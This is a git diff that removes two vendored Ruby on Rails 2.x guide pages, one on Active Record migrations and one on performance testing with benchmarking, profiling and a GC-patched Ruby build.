    -September 28, 2008: First draft by Mike Gunderloy (not yet approved for publication) -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/migrations.html b/vendor/rails/railties/doc/guides/html/migrations.html deleted file mode 100644 index 0a8b85c7..00000000 --- a/vendor/rails/railties/doc/guides/html/migrations.html +++ /dev/null @@ -1,731 +0,0 @@ - - - - - Migrations - - - - - - - - -
- - - -
-

Migrations

-
-
-

Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You’d also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run rake db:migrate. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database.

-

Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record’s functionality) it is database independent: you don’t need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.

-

You’ll learn all about migrations including:

-
    -
  • -

    -The generators you can use to create them -

    -
    • -
  • -

    -The methods Active Record provides to manipulate your database -

    -
    • -
  • -

    -The Rake tasks that manipulate them -

    -
    • -
  • -

    -How they relate to schema.rb -

    -
    • -
-
-
-

1. Anatomy Of A Migration

-
-

Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:

-
-
-
class CreateProducts < ActiveRecord::Migration
-  def self.up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-

This migration adds a table called products with a string column called name and a text column called description. A primary key column called id will also be added, however since this is the default we do not need to ask for this. The timestamp columns created_at and updated_at which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.

-

Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:

-
-
-
class AddReceiveNewsletterToUsers < ActiveRecord::Migration
-  def self.up
-    change_table :users do |t|
-      t.boolean :receive_newsletter, :default => false
-    end
-    User.update_all ["receive_newsletter = ?", true]
-  end
-
-  def self.down
-    remove_column :users, :receive_newsletter
-  end
-end
-

This migration adds an receive_newsletter column to the users table. We want it to default to false for new users, but existing users are considered -to have already opted in, so we use the User model to set the flag to true for existing users.

-
- - - -
-Note -Some caveats apply to using models in your migrations.
-
-

1.1. Migrations are classes

-

A migration is a subclass of ActiveRecord::Migration that implements two class methods: up (perform the required transformations) and down (revert them).

-

Active Record provides methods that perform common data definition tasks in a database independent way (you’ll read about them in detail later):

-
    -
  • -

    -create_table -

    -
    • -
  • -

    -change_table -

    -
    • -
  • -

    -drop_table -

    -
    • -
  • -

    -add_column -

    -
    • -
  • -

    -remove_column -

    -
    • -
  • -

    -change_column -

    -
    • -
  • -

    -rename_column -

    -
    • -
  • -

    -add_index -

    -
    • -
  • -

    -remove_index -

    -
    • -
-

If you need to perform tasks specific to your database (for example create a foreign key constraint) then the execute function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you’re not limited to these functions. For example after adding a column you could -write code to set the value of that column for existing records (if necessary using your models).

-

On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.

-

1.2. What’s in a name

-

Migrations are stored in files in ‘db/migrate`, one for each migration class. The name of the file is of the form YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class’ name must match (the camelcased version of) the latter part of the file name. For example 20080906120000_create_products.rb should define CreateProducts and 20080906120001_add_details_to_products.rb should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.

-

Internally Rails only uses the migration’s number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting config.active_record.timestamped_migrations to false in environment.rb.

-

The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.

-

For example Alice adds migrations 20080906120000 and 20080906123000 and Bob adds 20080906124500 and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice’s two migrations so rake db:migrate would run them (even though Bob’s migration with a later timestamp has been run), and similarly migrating down would not run their down methods.

-

Of course this is no substitution for communication within the team, for example if Alice’s migration removed a table that Bob’s migration assumed the existence of then trouble will still occur.

-

1.3. Changing migrations

-

Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run rake db:migrate. You must rollback the migration (for example with rake db:rollback), edit your migration and then run rake db:migrate to run the corrected version.

-

In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.

-
-

2. Creating A Migration

-
-

2.1. Creating a model

-

The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running

-

ruby script/generate model Product name:string description:text will create a migration that looks like this

-
-
-
class CreateProducts < ActiveRecord::Migration
-  def self.up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-

You can append as many column name/type pairs as you want. By default t.timestamps (which creates the updated_at and created_at columns that -are automatically populated by Active Record) will be added for you.

-

2.2. Creating a standalone migration

-

If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:

-

ruby script/generate migration AddPartNumberToProducts

-

This will create an empty but appropriately named migration:

-
-
-
class AddPartNumberToProducts < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
-

If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing -the appropriate add and remove column statements will be created.

-

ruby script/generate migration AddPartNumberToProducts part_number:string

-

will generate

-
-
-
class AddPartNumberToProducts < ActiveRecord::Migration
-  def self.up
-    add_column :products, :part_number, :string
-  end
-
-  def self.down
-    remove_column :products, :part_number
-  end
-end
-

Similarly,

-

ruby script/generate migration RemovePartNumberFromProducts part_number:string

-

generates

-
-
-
class RemovePartNumberFromProducts < ActiveRecord::Migration
-  def self.up
-    remove_column :products, :part_number
-  end
-
-  def self.down
-    add_column :products, :part_number, :string
-  end
-end
-

You are not limited to one magically generated column, for example

-

ruby script/generate migration AddDetailsToProducts part_number:string price:decimal

-

generates

-
-
-
class AddDetailsToProducts < ActiveRecord::Migration
-  def self.up
-    add_column :products, :part_number, :string
-    add_column :products, :price, :decimal
-  end
-
-  def self.down
-    remove_column :products, :price
-    remove_column :products, :part_number
-  end
-end
-

As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.

-
-

3. Writing a Migration

-
-

Once you have created your migration using one of the generators it’s time to get to work!

-

3.1. Creating a table

-

create_table will be one of your workhorses. A typical use would be

-
-
-
create_table :products do |t|
-  t.string :name
-end
-

which creates a products table with a column called name (and as discussed below, an implicit id column).

-

The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like

-
-
-
create_table :products do |t|
-  t.column :name, :string, :null => false
-end
-

the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the string, integer etc. methods create a column of that type. Subsequent parameters are identical.

-
-
-
create_table :products do |t|
-  t.string :name, :null => false
-end
-

By default create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option (don’t forget to update the corresponding model) or if you don’t want a primary key at all (for example for a HABTM join table) you can pass :id => false. If you need to pass database specific options you can place an sql fragment in the :options option. For example

-
-
-
create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
-  t.string :name, :null => false
-end
-

Will append ENGINE=BLACKHOLE to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").

-

The types Active Record supports are :primary_key, :string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean.

-

These will be mapped onto an appropriate underlying database type, for example with MySQL :string is mapped to VARCHAR(255). You can create columns of -types not supported by Active Record when using the non sexy syntax, for example

-
-
-
create_table :products do |t|
-  t.column :name, 'polygon', :null => false
-end
-

This may however hinder portability to other databases.

-

3.2. Changing tables

-

create_table's close cousin is change_table. Used for changing existing tables, it is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example

-
-
-
change_table :products do |t|
-  t.remove :description, :name
-  t.string :part_number
-  t.index :part_number
-  t.rename :upccode, :upc_code
-end
-

removes the description column, creates a part_number column and adds an index on it. Finally it renames the upccode column. This is the same as doing

-
-
-
remove_column :products, :description
-remove_column :products, :name
-add_column :products, :part_number, :string
-add_index :products, :part_number
-rename_column :products, :upccode, :upc_code
-

You don’t have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example remove_column becomes just remove and add_index becomes just index.

-

3.3. Special helpers

-

Active Record provides some shortcuts for common functionality. It is for example very common to add both the created_at and updated_at columns and so there is a method that does exactly that:

-
-
-
create_table :products do |t|
-  t.timestamps
-end
-

will create a new products table with those two columns whereas

-
-
-
change_table :products do |t|
-  t.timestamps
-end
-

adds those columns to an existing table.

-

The other helper is called references (also available as belongs_to). In its simplest form it just adds some readability

-
-
-
create_table :products do |t|
-  t.references :category
-end
-

will create a category_id column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the _id for you. If you have polymorphic belongs_to associations then references will add both of the columns required:

-
-
-
create_table :products do |t|
-  t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
-

will add an attachment_id column and a string attachment_type column with a default value of Photo.

-
- - - -
-Note -The references helper does not actually create foreign key constraints for you. You will need to use execute for that or a plugin that adds foreign key support.
-
-

If the helpers provided by Active Record aren’t enough you can use the execute function to execute arbitrary SQL.

-

For more details and examples of individual methods check the API documentation, in particular the documentation for ActiveRecord::ConnectionAdapters::SchemaStatements (which provides the methods available in the up and down methods), ActiveRecord::ConnectionAdapters::TableDefinition (which provides the methods available on the object yielded by create_table) and ActiveRecord::ConnectionAdapters::Table (which provides the methods available on the object yielded by change_table).

-

3.4. Writing your down method

-

The down method of your migration should revert the transformations done by the up method. In other words the database should be unchanged if you do an up followed by a down. For example if you create a table in the up you should drop it in the down method. It is wise to do things in precisely the reverse order to in the up method. For example

-
-
-
class ExampleMigration < ActiveRecord::Migration
-
-  def self.up
-    create_table :products do |t|
-      t.references :category
-    end
-    #add a foreign key
-    execute "ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"
-
-    add_column :users, :home_page_url, :string
-
-    rename_column :users, :email, :email_address
-  end
-
-  def self.down
-    rename_column :users, :email_address, :email
-    remove_column :users, :home_page_url
-    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
-    drop_table :products
-  end
-end
-

Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can’t reverse the migration you can raise IrreversibleMigration from your down method. If someone tries to revert your migration an error message will be -displayed saying that it can’t be done.

-
-

4. Running Migrations

-
-

Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be db:migrate. In its most basic form it just runs the up method for all the migrations that have not yet been run. If there are no such migrations it exits.

-

Note that running the db:migrate also invokes the db:schema:dump task, which will update your db/schema.rb file to match the structure of your database.

-

If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration’s filename. For example to migrate to version 20080906120000 run

-
-
-
rake db:migrate VERSION=20080906120000
-
-

If this is greater than the current version (i.e. it is migrating upwards) this will run the up method on all migrations up to and including 20080906120000, if migrating downwards this will run the down method on all the migrations down to, but not including, 20080906120000.

-

4.1. Rolling back

-

A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run

-
-
-
rake db:rollback
-
-

This will run the down method from the latest migration. If you need to undo several migrations you can provide a STEP parameter:

-
-
-
rake db:rollback STEP=3
-
-

will run the down method from the last 3 migrations.

-

The db:migrate:redo task is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback task you can use the STEP parameter if you need to go more than one version back, for example

-
-
-
rake db:migrate:redo STEP=3
-
-

Neither of these Rake tasks do anything you could not do with db:migrate, they are simply more convenient since you do not need to explicitly specify the version to migrate to.

-

Lastly, the db:reset task will drop the database, recreate it and load the current schema into it.

-
- - - -
-Note -This is not the same as running all the migrations - see the section on schema.rb.
-
-

4.2. Being Specific

-

If you need to run a specific migration up or down the db:migrate:up and db:migrate:down tasks will do that. Just specify the appropriate version and the corresponding migration will have its up or down method invoked, for example

-
-
-
rake db:migrate:up VERSION=20080906120000
-
-

will run the up method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example db:migrate:up VERSION=20080906120000 will do nothing if Active Record believes that 20080906120000 has already been run.

-

4.3. Being talkative

-

By default migrations tell you exactly what they’re doing and how long it took. -A migration creating a table and adding an index might produce output like this

-
-
-
== 20080906170109 CreateProducts: migrating ===================================
--- create_table(:products)
-   -> 0.0021s
--- add_index(:products, :name)
-   -> 0.0026s
-== 20080906170109 CreateProducts: migrated (0.0059s) ==========================
-
-

Several methods are provided that allow you to control all this:

-
    -
  • -

    -suppress_messages suppresses any output generated by its block -

    -
    • -
  • -

    -say outputs text (the second argument controls whether it is indented or not) -

    -
    • -
  • -

    -say_with_time outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. -

    -
    • -
-

For example, this migration

-
-
-
class CreateProducts < ActiveRecord::Migration
-  def self.up
-    suppress_messages do
-      create_table :products do |t|
-        t.string :name
-        t.text :description
-        t.timestamps
-      end
-    end
-    say "Created a table"
-    suppress_messages {add_index :products, :name}
-    say "and an index!", true
-    say_with_time 'Waiting for a while' do
-      sleep 10
-      250
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-

generates the following output

-
-
-
== 20080906170109 CreateProducts: migrating ===================================
--- Created a table
-   -> and an index!
--- Waiting for a while
-   -> 10.0001s
-   -> 250 rows
-== 20080906170109 CreateProducts: migrated (10.0097s) =========================
-
-

If you just want Active Record to shut up then running rake db:migrate VERBOSE=false will suppress any output.

-
-

5. Using Models In Your Migrations

-
-

When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.

-

Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with rake db:migrate, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.

-

Frequently I just want to update rows in the database without writing out the SQL by hand: I’m not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:

-
-
-
class AddPartNumberToProducts < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def self.up
-    ...
-  end
-
-  def self.down
-    ...
-  end
-end
-

The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.

-

5.1. Dealing with changing models

-

For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the reset_column_information method, for example

-
-
-
class AddPartNumberToProducts < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def self.up
-    add_column :product, :part_number, :string
-    Product.reset_column_information
-    ...
-  end
-
-  def self.down
-    ...
-  end
-end
-
-

6. Schema dumping and you

-
-

6.1. What are schema files for?

-

Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either schema.rb or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.

-

There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.

-

For example, this is how the test database is created: the current development database is dumped (either to schema.rb or development.sql) and then loaded into the test database.

-

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model’s code and is frequently spread across several migrations but is all summed up in the schema file. The annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.

-

6.2. Types of schema dumps

-

There are two ways to dump the schema. This is set in config/environment.rb by the config.active_record.schema_format setting, which may be either :sql or :ruby.

-

If :ruby is selected then the schema is stored in db/schema.rb. If you look at this file you’ll find that it looks an awful lot like one very big migration:

-
-
-
ActiveRecord::Schema.define(:version => 20080906171750) do
-  create_table "authors", :force => true do |t|
-    t.string   "name"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  create_table "products", :force => true do |t|
-    t.string   "name"
-    t.text     "description"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-    t.string   "part_number"
-  end
-end
-

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.

-

There is however a trade-off: schema.rb cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to :sql.

-

Instead of using Active Record’s schema dumper the database’s structure will be dumped using a tool specific to that database (via the db:structure:dump Rake task) into db/#{RAILS_ENV}_structure.sql. For example for PostgreSQL the pg_dump utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.

-

By definition this will be a perfect copy of the database’s structure but this will usually prevent loading the schema into a database other than the one used to create it.

-

6.3. Schema dumps and source control

-

Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.

-
-

7. Active Record and Referential Integrity

-
-

The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.

-

Validations such as validates_uniqueness_of are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.

-

Although Active Record does not provide any tools for working directly with such features, the execute method can be used to execute arbitrary SQL. There are also a number of plugins such as redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in schema.rb).

-
-

8. Changelog

-
-

Lighthouse ticket

-
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/performance_testing.html b/vendor/rails/railties/doc/guides/html/performance_testing.html deleted file mode 100644 index 85807600..00000000 --- a/vendor/rails/railties/doc/guides/html/performance_testing.html +++ /dev/null @@ -1,728 +0,0 @@ - - - - - Performance Testing Rails Applications - - - - - - - - -
- - - -
-

Performance Testing Rails Applications

-
-
-

This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:

-
    -
  • -

    -Understand the various types of benchmarking and profiling metrics -

    -
    • -
  • -

    -Generate performance and benchmarking tests -

    -
    • -
  • -

    -Use a GC-patched Ruby binary to measure memory usage and object allocation -

    -
    • -
  • -

    -Understand the benchmarking information provided by Rails inside the log files -

    -
    • -
  • -

    -Learn about various tools facilitating benchmarking and profiling -

    -
    • -
-

Performance testing is an integral part of the development cycle. It is very important that you don’t make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.

-
-
-

1. Performance Test Cases

-
-

Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application’s memory or speed problems are coming from, and get a more in-depth picture of those problems.

-

In a freshly generated Rails application, test/performance/browsing_test.rb contains an example of a performance test:

-
-
-
require 'test_helper'
-require 'performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionController::PerformanceTest
-  def test_homepage
-    get '/'
-  end
-end
-

This example is a simple performance test case for profiling a GET request to the application’s homepage.

-

1.1. Generating performance tests

-

Rails provides a generator called performance_test for creating new performance tests:

-
-
-
script/generate performance_test homepage
-

This generates homepage_test.rb in the test/performance directory:

-
-
-
require 'test_helper'
-require 'performance_test_help'
-
-class HomepageTest < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
-

1.2. Examples

-

Let’s assume your application has the following controller and model:

-
-
-
# routes.rb
-map.root :controller => 'home'
-map.resources :posts
-
-# home_controller.rb
-class HomeController < ApplicationController
-  def dashboard
-    @users = User.last_ten(:include => :avatars)
-    @posts = Post.all_today
-  end
-end
-
-# posts_controller.rb
-class PostsController < ApplicationController
-  def create
-    @post = Post.create(params[:post])
-    redirect_to(@post)
-  end
-end
-
-# post.rb
-class Post < ActiveRecord::Base
-  before_save :recalculate_costly_stats
-
-  def slow_method
-    # I fire gallzilion queries sleeping all around
-  end
-
-  private
-
-  def recalculate_costly_stats
-    # CPU heavy calculations
-  end
-end
-

1.2.1. Controller Example

-

Because performance tests are a special kind of integration test, you can use the get and post methods in them.

-

Here’s the performance test for HomeController#dashboard and PostsController#create:

-
-
-
require 'test_helper'
-require 'performance_test_help'
-
-class PostPerformanceTest < ActionController::PerformanceTest
-  def setup
-    # Application requires logged-in user
-    login_as(:lifo)
-  end
-
-  def test_homepage
-    get '/dashboard'
-  end
-
-  def test_creating_new_post
-    post '/posts', :post => { :body => 'lifo is fooling you' }
-  end
-end
-

You can find more details about the get and post methods in the Testing Rails Applications guide.

-

1.2.2. Model Example

-

Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.

-

Performance test for Post model:

-
-
-
require 'test_helper'
-require 'performance_test_help'
-
-class PostModelTest < ActionController::PerformanceTest
-  def test_creation
-    Post.create :body => 'still fooling you', :cost => '100'
-  end
-
-  def test_slow_method
-    # Using posts(:awesome) fixture
-    posts(:awesome).slow_method
-  end
-end
-

1.3. Modes

-

Performance tests can be run in two modes : Benchmarking and Profiling.

-

1.3.1. Benchmarking

-

Benchmarking helps find out how fast each performance test runs. Each test case is run 4 times in benchmarking mode.

-

To run performance tests in benchmarking mode:

-
-
-
$ rake test:benchmark
-

1.3.2. Profiling

-

Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run 1 time in profiling mode.

-

To run performance tests in profiling mode:

-
-
-
$ rake test:profile
-

1.4. Metrics

-

Benchmarking and profiling run performance tests in various modes described below.

-

1.4.1. Wall Time

-

Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.

-

Mode : Benchmarking

-

1.4.2. Process Time

-

Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.

-

Mode : Profiling

-

1.4.3. Memory

-

Memory measures the amount of memory used for the performance test case.

-

Mode : Benchmarking, Profiling [Requires GC-Patched Ruby]

-

1.4.4. Objects

-

Objects measures the number of objects allocated for the performance test case.

-

Mode : Benchmarking, Profiling [Requires GC-Patched Ruby]

-

1.4.5. GC Runs

-

GC Runs measures the number of times GC was invoked for the performance test case.

-

Mode : Benchmarking [Requires GC-Patched Ruby]

-

1.4.6. GC Time

-

GC Time measures the amount of time spent in GC for the performance test case.

-

Mode : Benchmarking [Requires GC-Patched Ruby]

-

1.5. Understanding the output

-

Performance tests generate different outputs inside tmp/performance directory depending on their mode and metric.

-

1.5.1. Benchmarking

-

In benchmarking mode, performance tests generate two types of outputs :

-
Command line
-

This is the primary form of output in benchmarking mode. Example :

-
-
-
BrowsingTest#test_homepage (31 ms warmup)
-           wall_time: 6 ms
-              memory: 437.27 KB
-             objects: 5514
-             gc_runs: 0
-             gc_time: 19 ms
-
CSV files
-

Performance test results are also appended to .csv files inside tmp/performance. For example, running the default BrowsingTest#test_homepage will generate following five files :

-
    -
  • -

    -BrowsingTest#test_homepage_gc_runs.csv -

    -
    • -
  • -

    -BrowsingTest#test_homepage_gc_time.csv -

    -
    • -
  • -

    -BrowsingTest#test_homepage_memory.csv -

    -
    • -
  • -

    -BrowsingTest#test_homepage_objects.csv -

    -
    • -
  • -

    -BrowsingTest#test_homepage_wall_time.csv -

    -
    • -
-

As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.

-

Sample output of BrowsingTest#test_homepage_wall_time.csv:

-
-
-
measurement,created_at,app,rails,ruby,platform
-0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
-0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
-0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
-0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
-0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0
-0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
-

1.5.2. Profiling

-

In profiling mode, you can choose from four types of output.

-
Command line
-

This is a very basic form of output in profiling mode:

-
-
-
BrowsingTest#test_homepage (58 ms warmup)
-        process_time: 63 ms
-              memory: 832.13 KB
-             objects: 7882
-
Flat
-

Flat output shows the total amount of time spent in each method. Check ruby prof documentation for a better explanation.

-
Graph
-

Graph output shows how long each method takes to run, which methods call it and which methods it calls. Check ruby prof documentation for a better explanation.

-
Tree
-

Tree output is profiling information in calltree format for use by kcachegrind and similar tools.

-

1.6. Tuning Test Runs

-

By default, each performance test is run 4 times in benchmarking mode and 1 time in profiling. However, test runs can easily be configured.

-
- - - -
-Caution -Performance test configurability is not yet enabled in Rails. But it will be soon.
-
-

1.7. Performance Test Environment

-

Performance tests are run in the development environment. But running performance tests will set the following configuration parameters:

-
-
-
ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-

As ActionController::Base.perform_caching is set to true, performance tests will behave much as they do in the production environment.

-

1.8. Installing GC-Patched Ruby

-

To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time and memory/object allocation.

-

The process is fairly straight forward. If you’ve never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:

-

1.8.1. Installation

-

Compile Ruby and apply this GC Patch:

-

1.8.2. Download and Extract

-
-
-
[lifo@null ~]$ mkdir rubygc
-[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby>
-[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz>
-[lifo@null ~]$ cd <ruby-version>
-

1.8.3. Apply the patch

-
-
-
[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-

1.8.4. Configure and Install

-

The following will install ruby in your home directory’s /rubygc directory. Make sure to replace <homedir> with a full patch to your actual home directory.

-
-
-
[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc
-[lifo@null ruby-version]$ make && make install
-

1.8.5. Prepare aliases

-

For convenience, add the following lines in your ~/.profile:

-
-
-
alias gcruby='~/rubygc/bin/ruby'
-alias gcrake='~/rubygc/bin/rake'
-alias gcgem='~/rubygc/bin/gem'
-alias gcirb='~/rubygc/bin/irb'
-alias gcrails='~/rubygc/bin/rails'
-
-

1.8.6. Install rubygems and dependency gems

-

Download Rubygems and install it from source. Rubygem’s README file should have necessary installation instructions.

-

Additionally, install the following gems :

-
    -
  • -

    -rake -

    -
    • -
  • -

    -rails -

    -
    • -
  • -

    -ruby-prof -

    -
    • -
  • -

    -rack -

    -
    • -
  • -

    -mysql -

    -
    • -
-

If installing mysql fails, you can try to install it manually:

-
-
-
[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
-[lifo@null mysql]$ make && make install
-

And you’re ready to go. Don’t forget to use gcruby and gcrake aliases when running the performance tests.

-
-

2. Command Line Tools

-
-

Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:

-

2.1. benchmarker

-

benchmarker is a wrapper around Ruby’s Benchmark module.

-

Usage:

-
-
-
$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
-

Examples:

-
-
-
$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all'
-

If the [times] argument is omitted, supplied methods are run just once:

-
-
-
$ script/performance/benchmarker 'Item.first' 'Item.last'
-

2.2. profiler

-

profiler is a wrapper around ruby-prof gem.

-

Usage:

-
-
-
$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
-

Examples:

-
-
-
$ script/performance/profiler 'Item.all'
-

This will profile Item.all in RubyProf::WALL_TIME measure mode. By default, it prints flat output to the shell.

-
-
-
$ script/performance/profiler 'Item.all' 10 graph
-

This will profile 10.times { Item.all } with RubyProf::WALL_TIME measure mode and print graph output to the shell.

-

If you want to store the output in a file:

-
-
-
$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt
-
-

3. Helper methods

-
-

Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called benchmark() in all the three components.

-

